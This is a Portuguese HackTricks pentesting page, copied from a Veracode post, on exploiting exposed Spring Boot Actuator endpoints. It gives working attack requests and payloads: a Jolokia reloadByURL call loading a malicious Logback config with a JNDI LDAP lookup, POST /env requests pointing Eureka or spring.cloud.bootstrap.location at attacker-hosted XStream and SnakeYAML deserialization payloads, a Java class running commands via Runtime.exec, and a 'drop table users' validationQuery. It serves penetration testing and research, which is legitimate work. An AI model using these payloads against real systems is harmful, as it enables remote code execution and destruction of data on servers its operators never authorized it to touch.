hacktricks/network-services-pentesting/pentesting-web/spring-actuators.md
2023-06-06 18:56:34 +00:00

20 KiB

Spring Actuators

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Bypass de Autenticação Spring

De https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****

Explorando Spring Boot Actuators

copiado de https://www.veracode.com/blog/research/exploiting-spring-boot-actuators

O Framework Spring Boot inclui uma série de recursos chamados de actuators para ajudá-lo a monitorar e gerenciar sua aplicação web quando você a coloca em produção. Destinados a serem usados para auditoria, saúde e coleta de métricas, eles também podem abrir uma porta oculta para o seu servidor quando mal configurados.

Quando uma aplicação Spring Boot está em execução, ela registra automaticamente vários endpoints (como '/health', '/trace', '/beans', '/env' etc) no processo de roteamento. Para o Spring Boot 1 - 1.4, eles são acessíveis sem autenticação, causando problemas significativos de segurança. A partir da versão Spring 1.5, todos os endpoints, exceto '/health' e '/info', são considerados sensíveis e protegidos por padrão, mas essa segurança é frequentemente desativada pelos desenvolvedores de aplicativos.

Os seguintes endpoints do Actuator podem ter implicações de segurança potenciais que levam a possíveis vulnerabilidades:

  • /dump - exibe um dump de threads (incluindo uma stack trace)
  • /trace - exibe as últimas várias mensagens HTTP (que podem incluir identificadores de sessão)
  • /logfile - exibe o conteúdo do arquivo de log
  • /shutdown - desliga a aplicação
  • /mappings - mostra todos os mapeamentos do controlador MVC
  • /env - fornece acesso ao ambiente de configuração
  • /actuator/env
  • /restart - reinicia a aplicação
  • /heapdump - constrói e retorna um heap dump do JVM usado por nossa aplicação

Para o Spring 1x, eles são registrados na URL raiz e, no 2x, eles foram movidos para o caminho base "/actuator/".

Exploração:

A maioria dos actuators suporta apenas solicitações GET e simplesmente revela dados de configuração sensíveis, mas vários deles são particularmente interessantes para caçadores de shell:

1. Execução Remota de Código via '/jolokia'

Se a biblioteca Jolokia estiver no classpath da aplicação de destino, ela será automaticamente exposta pelo Spring Boot no endpoint do actuador '/jolokia'. O Jolokia permite acesso HTTP a todos os MBeans registrados e é projetado para executar as mesmas operações que você pode executar com o JMX. É possível listar todas as ações de MBeans disponíveis usando a URL:

http://127.0.0.1:8090/jolokia/list

Novamente, a maioria das ações de MBeans apenas revela alguns dados do sistema, mas uma é particularmente interessante:

reloadByURL

A ação 'reloadByURL', fornecida pela biblioteca Logback, nos permite recarregar a configuração de log de uma URL externa. Isso pode ser acionado apenas navegando até: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml

Então, por que devemos nos preocupar com a configuração de log? Principalmente por duas coisas:

  1. A configuração tem um formato XML e, é claro, o Logback o analisa com Entidades Externas habilitadas, portanto, é vulnerável a XXE cego.
  2. A configuração do Logback tem o recurso 'Obtaining variables from JNDI'. No arquivo XML, podemos incluir uma tag como '<insertFromJNDI env-entry-name="java:comp/env/appName" as="appName" />' e o atributo name será passado para o método DirContext.lookup(). Se pudermos fornecer um nome arbitrário para a função .lookup(), nem precisamos de XXE ou HeapDump, pois isso nos dá uma Execução Remota de Código completa.

Como funciona:

1. Um atacante solicita a URL mencionada anteriormente para executar a função 'reloadByURL', fornecida pela classe 'qos.logback.classic.jmx.JMXConfigurator'.

2. A função 'reloadByURL' baixa uma nova configuração de http://artsploit.com/logback.xml e a analisa como uma configuração do Logback. Essa configuração maliciosa deve ter o seguinte conteúdo:

<configuration>
  <insertFromJNDI env-entry-name="ldap://artsploit.com:1389/jndi" as="appName" />
</configuration>

3. Quando este arquivo é analisado no servidor vulnerável, ele cria uma conexão com o servidor LDAP controlado pelo atacante especificado no valor do parâmetro "env-entry-name", o que leva à resolução do JNDI. O servidor LDAP malicioso pode retornar um objeto com tipo 'Referência' para desencadear uma execução do bytecode fornecido na aplicação alvo. Os ataques JNDI são bem explicados neste artigo de pesquisa da MicroFocus. A nova técnica de exploração do JNDI (descrita anteriormente em nosso blog) também funciona aqui, já que o Tomcat é o servidor de aplicativos padrão no Framework Spring Boot.

2. Modificação de configuração via '/env'

Se as Bibliotecas Spring Cloud estiverem no classpath, o endpoint '/env' permite que você modifique as propriedades ambientais do Spring. Todos os beans anotados como '@ConfigurationProperties' podem ser modificados e reatribuídos. Muitas, mas não todas, as propriedades que podemos controlar estão listadas no endpoint '/configprops' do atuador. Na verdade, existem toneladas delas, mas não está absolutamente claro o que precisamos modificar para alcançar algo. Depois de passar alguns dias brincando com elas, encontramos isso:

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
 
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream

Esta propriedade modifica a serviceURL do Eureka para um valor arbitrário. O Eureka Server é normalmente usado como um servidor de descoberta, e quase todas as aplicações Spring Cloud se registram nele e enviam atualizações de status para ele. Se você tiver sorte de ter o Eureka-Client <1.8.7 no classpath de destino (normalmente incluído no Spring Cloud Netflix), você pode explorar a vulnerabilidade de deserialização do XStream nele. Tudo o que você precisa fazer é definir a propriedade 'eureka.client.serviceUrl.defaultZone' para a URL do seu servidor (http://artsploit.com/n/xstream) via '/env' e depois chamar o endpoint '/refresh'. Depois disso, seu servidor deve servir a carga útil do XStream com o seguinte conteúdo:

<linked-hash-set>
  <jdk.nashorn.internal.objects.NativeString>
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
      <dataHandler>
        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
          <is class="javax.crypto.CipherInputStream">
            <cipher class="javax.crypto.NullCipher">
              <serviceIterator class="javax.imageio.spi.FilterIterator">
                <iter class="javax.imageio.spi.FilterIterator">
                  <iter class="java.util.Collections$EmptyIterator"/>
                  <next class="java.lang.ProcessBuilder">
                    <command>
                      <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
                    </command>
                    <redirectErrorStream>false</redirectErrorStream>
                  </next>
                </iter>
                <filter class="javax.imageio.ImageIO$ContainsFilter">
                  <method>
                    <class>java.lang.ProcessBuilder</class>
                    <name>start</name>
                    <parameter-types/>
                  </method>
                  <name>foo</name>
                </filter>
                <next class="string">foo</next>
              </serviceIterator>
              <lock/>
            </cipher>
            <input class="java.lang.ProcessBuilder$NullInputStream"/>
            <ibuffer></ibuffer>
          </is>
        </dataSource>
      </dataHandler>
    </value>
  </jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>

Este payload XStream é uma versão ligeiramente modificada da cadeia de gadgets ImageIO JDK-only da pesquisa Marshalsec. A única diferença aqui é o uso de LinkedHashSet para acionar o método 'jdk.nashorn.internal.objects.NativeString.hashCode()'. O payload original usa java.lang.Map para alcançar o mesmo comportamento, mas a configuração do XStream do Eureka tem um conversor personalizado para mapas que o torna inutilizável. O payload acima não usa mapas e pode ser usado para alcançar a execução remota de código sem restrições adicionais.

Usando Spring Actuators, você pode realmente explorar essa vulnerabilidade mesmo se não tiver acesso a um servidor Eureka interno; você só precisa de um endpoint "/env" disponível.

Outras configurações úteis:

spring.datasource.tomcat.validationQuery=drop+table+users - permite que você especifique qualquer consulta SQL, e ela será executada automaticamente no banco de dados atual. Pode ser qualquer declaração, incluindo insert, update ou delete.

Explorando o Drop Table do Spring Boot Actuators

spring.datasource.tomcat.url=jdbc:hsqldb:https://localhost:3002/xdb - permite que você modifique a string de conexão JDBC atual.

O último parece ótimo, mas o problema é quando a aplicação que executa a conexão do banco de dados já está estabelecida, apenas atualizar a string JDBC não tem nenhum efeito. Felizmente, há outra propriedade que pode nos ajudar nesse caso:

spring.datasource.tomcat.max-active=777

O truque que podemos usar aqui é aumentar o número de conexões simultâneas ao banco de dados. Então, podemos alterar a string de conexão JDBC, aumentar o número de conexões e, depois disso, enviar muitas solicitações à aplicação para simular carga pesada. Sob carga, a aplicação criará uma nova conexão de banco de dados com a string JDBC maliciosa atualizada. Testei essa técnica localmente contra o Mysql e funciona como um encanto.

Explorando o Max Active do Spring Boot Actuators

Além disso, existem outras propriedades que parecem interessantes, mas, na prática, não são realmente úteis:

spring.datasource.url - string de conexão do banco de dados (usada apenas para a primeira conexão)

spring.datasource.jndiName - string JNDI do banco de dados (usada apenas para a primeira conexão)

spring.datasource.tomcat.dataSourceJNDI - string JNDI do banco de dados (não usada)

spring.cloud.config.uri=http://artsploit.com/ - url de configuração de nuvem da primavera (não tem nenhum efeito após o início do aplicativo, apenas os valores iniciais são usados).

Essas propriedades não têm nenhum efeito a menos que o endpoint '/restart' seja chamado. Este endpoint reinicia todo o ApplicationContext, mas está desativado por padrão.

Existem muitas outras propriedades interessantes, mas a maioria delas não tem efeito imediato após a alteração.

N.B. No Spring Boot 2x, o formato de solicitação para modificar propriedades via o endpoint '/env' é ligeiramente diferente (usa formato json em vez disso), mas a ideia é a mesma.

Um exemplo de aplicativo vulnerável:

Se você quiser testar essa vulnerabilidade localmente, criei um aplicativo Spring Boot simples na minha página do Github. Todos os payloads devem funcionar lá, exceto as configurações do banco de dados (a menos que você as configure).

Descoberta de caixa preta:

Uma lista completa de actuators padrão pode ser encontrada aqui: https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt. Tenha em mente que os desenvolvedores de aplicativos podem criar seus próprios endpoints usando a anotação @Endpoint.

Atualização de maio de 2019:

Existe uma maneira mais confiável de alcançar RCE por meio da modificação de propriedades ambientais do Spring:

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
 
spring.cloud.bootstrap.location=http://artsploit.com/yaml-payload.yml

Esta requisição modifica a propriedade 'spring.cloud.bootstrap.location', que é usada para carregar configurações externas e parseá-las no formato YAML. Para que isso aconteça, também precisamos chamar o endpoint '/refresh'.

POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

Quando a configuração YAML é obtida do servidor remoto, ela é analisada com a biblioteca SnakeYAML, que também é suscetível a ataques de desserialização. A carga útil (yaml-payload.yml) pode ser gerada usando a pesquisa Marshalsec mencionada anteriormente:

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
  ]]
]

A desserialização deste arquivo aciona a execução do construtor do ScriptEngineManager com o URLClassLoader fornecido. Em resumo, isso leva ao método 'java.util.ServiceLoader#load(java.lang.Class<S>, java.lang.ClassLoader)', que tenta encontrar todas as implementações da interface 'ScriptEngineFactory' em todas as bibliotecas no classpath. Como podemos adicionar uma nova biblioteca via URLClassLoader, podemos servir uma nova 'ScriptEngineFactory' com o bytecode malicioso dentro. Para fazer isso, precisamos criar um arquivo jar com os seguintes arquivos obrigatórios: yaml-payload.jar:/artsploit/AwesomeScriptEngineFactory.class deve conter o bytecode real, com a carga maliciosa no construtor.

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
 
    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("dig scriptengine.x.artsploit.com");
            Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

O arquivo yaml-payload.jar:/META-INF/services/javax.script.ScriptEngineFactory deve ser apenas um arquivo de texto contendo uma referência completa para 'artsploit.AwesomeScriptEngineFactory', para que o ServiceLoader saiba onde encontrar a classe: artsploit.AwesomeScriptEngineFactory. Novamente, essa técnica de exploração requer que o spring cloud esteja no classpath, mas em comparação com o payload XStream do Eureka, ela funciona até mesmo na versão mais recente. Você pode encontrar o payload completo no meu projeto do github: yaml-payload.

Env + H2 RCE

Veja esta página para descobrir como explorar a combinação /env + H2: https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database

Mais Informações

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥